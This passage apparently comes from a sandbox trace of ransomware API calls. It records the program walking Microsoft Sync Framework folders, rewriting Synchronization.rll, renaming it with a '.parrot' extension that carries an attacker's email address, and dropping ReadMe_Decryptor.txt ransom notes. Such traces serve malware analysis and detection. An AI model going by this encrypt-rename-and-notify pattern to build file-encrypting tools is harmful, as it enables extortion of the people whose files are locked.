ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.649] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0244.649] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0244.649] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1 [0244.649] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0244.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.650] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0244.650] ReadFile (in: hFile=0x27c, lpBuffer=0x18e660, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x18e660*, lpNumberOfBytesRead=0x18e604*=0x18, lpOverlapped=0x0) returned 1 [0244.651] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.652] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3170, lpNumberOfBytesRead=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e604*=0x3170, lpOverlapped=0x0) returned 1 [0244.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4c80 [0244.652] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0244.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0244.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0244.652] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x226c068 [0244.653] GetLastError () returned 0x0 [0244.653] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0244.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4c80 [0244.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4bb0 [0244.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4c80 [0244.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0244.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4bb0 [0244.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4c80 [0244.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4bb0 | out: hHeap=0x5b0000) returned 1 [0244.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0244.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4c80 | out: hHeap=0x5b0000) returned 1 [0244.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0244.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0244.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x604280 [0244.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0244.653] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d5d8 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x604280 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c8068 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60baf8 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c8068 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x6588b0 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x2262140 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x22e9cb0 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2262140 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1da) returned 0x319e470 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22e9cb0 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c7) returned 0x6a5268 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x319e470 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x42a) returned 0x3150060 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a5268 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x63f) returned 0x31ce4c8 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3150060 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x95e) returned 0x22fe0c8 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ce4c8 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xe0d) returned 0x31ac478 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22fe0c8 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1536) returned 0x31fe550 [0244.654] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31ac478 | out: hHeap=0x5b0000) returned 1 [0244.654] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1fbf) returned 0x639220 [0244.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fe550 | out: hHeap=0x5b0000) returned 1 [0244.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2f8d) returned 0x315c048 [0244.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x639220 | out: hHeap=0x5b0000) returned 1 [0244.655] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4742) returned 0x3292590 [0244.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x315c048 | out: hHeap=0x5b0000) returned 1 [0244.655] WriteFile (in: hFile=0x27c, lpBuffer=0x32925a0*, nNumberOfBytesToWrite=0x3298, lpNumberOfBytesWritten=0x18e604, lpOverlapped=0x0 | out: lpBuffer=0x32925a0*, lpNumberOfBytesWritten=0x18e604*=0x3298, lpOverlapped=0x0) returned 1 [0244.660] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3292590 | out: hHeap=0x5b0000) returned 1 [0244.660] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3288, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0244.661] CloseHandle (hObject=0x27c) returned 1 [0244.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x31fa728 [0244.661] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x11e) returned 0x22f9680 [0244.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31fa728 | out: hHeap=0x5b0000) returned 1 [0244.661] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\synchronization.rll"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\Synchronization.rll.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\synchronization.rll.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0244.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f9680 | out: hHeap=0x5b0000) returned 1 [0244.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0244.663] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x328e550 | out: hHeap=0x5b0000) returned 1 [0244.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xa0) returned 0x659d38 [0244.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xc0) returned 0x31fa728 [0244.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4c80 [0244.663] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4bb0 [0244.663] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\ReadMe_Decryptor.txt" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\runtime\\x64\\resources\\1033\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18e3f8, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x27c [0244.665] GetFileType (hFile=0x27c) returned 0x1 [0244.665] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x3178470 [0244.676] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", fInfoLevelId=0x0, lpFindFileData=0x18e6bc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e6bc) returned 0x600550 [0244.676] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1dd62e00, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1dd62e00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.676] FindNextFileW (in: hFindFile=0x600550, lpFindFileData=0x18e6bc | out: lpFindFileData=0x18e6bc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1dd62e00, ftCreationTime.dwHighDateTime=0x1d5e09e, ftLastAccessTime.dwLowDateTime=0x1dd62e00, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1dd88f60, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0244.676] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0244.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.677] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0244.677] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.677] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1dd62e00, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1dd62e00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0244.677] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1dd62e00, ftLastAccessTime.dwHighDateTime=0x1d5e09e, ftLastWriteTime.dwLowDateTime=0x1dd62e00, ftLastWriteTime.dwHighDateTime=0x1d5e09e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0244.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6588b0 | out: hHeap=0x5b0000) returned 1 [0244.677] FindClose (in: hFindFile=0x600510 | out: hFindFile=0x600510) returned 1 [0244.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0244.677] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1 [0244.677] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x30) returned 0x605358 [0244.677] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0244.677] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0244.678] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.678] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x38770, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedSync.dll", cAlternateFileName="")) returned 1 [0244.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0244.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.678] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0244.678] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.678] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0244.678] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0244.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ede8 | out: hHeap=0x5b0000) returned 1 [0244.678] FindClose (in: hFindFile=0x600490 | out: hFindFile=0x600490) returned 1 [0244.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x68df00 | out: hHeap=0x5b0000) returned 1 [0244.678] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0244.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60baf8 [0244.678] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8e) returned 0x658780 [0244.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60baf8 | out: hHeap=0x5b0000) returned 1 [0244.678] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6586e8 | out: hHeap=0x5b0000) returned 1 [0244.679] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0244.679] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\*", fInfoLevelId=0x0, lpFindFileData=0x18f27c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f27c) returned 0x600450 [0244.679] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.679] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documentation", cAlternateFileName="DOCUME~1")) returned 1 [0244.679] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 1 [0244.679] FindNextFileW (in: hFindFile=0x600450, lpFindFileData=0x18f27c | out: lpFindFileData=0x18f27c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0244.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x658780 | out: hHeap=0x5b0000) returned 1 [0244.679] FindClose (in: hFindFile=0x600450 | out: hFindFile=0x600450) returned 1 [0244.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba90 | out: hHeap=0x5b0000) returned 1 [0244.679] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0244.679] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x60) returned 0x60ba90 [0244.679] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60ba28 | out: hHeap=0x5b0000) returned 1 [0244.679] FindClose (in: hFindFile=0x600410 | out: hFindFile=0x600410) returned 1 [0244.682] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.682] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xa0b15330, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa0b15330, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.683] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbfb154a0, ftCreationTime.dwHighDateTime=0x1d58fb5, ftLastAccessTime.dwLowDateTime=0x53895870, ftLastAccessTime.dwHighDateTime=0x1d56875, ftLastWriteTime.dwLowDateTime=0x53895870, ftLastWriteTime.dwHighDateTime=0x1d56875, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="skype.exe", cAlternateFileName="")) returned 1 [0244.683] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d5d8 [0244.683] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d5d8 | out: hHeap=0x5b0000) returned 1 [0244.684] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", fInfoLevelId=0x0, lpFindFileData=0x18f56c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18f56c) returned 0x600410 [0244.684] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0244.684] FindNextFileW (in: hFindFile=0x600410, lpFindFileData=0x18f56c | out: lpFindFileData=0x18f56c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, 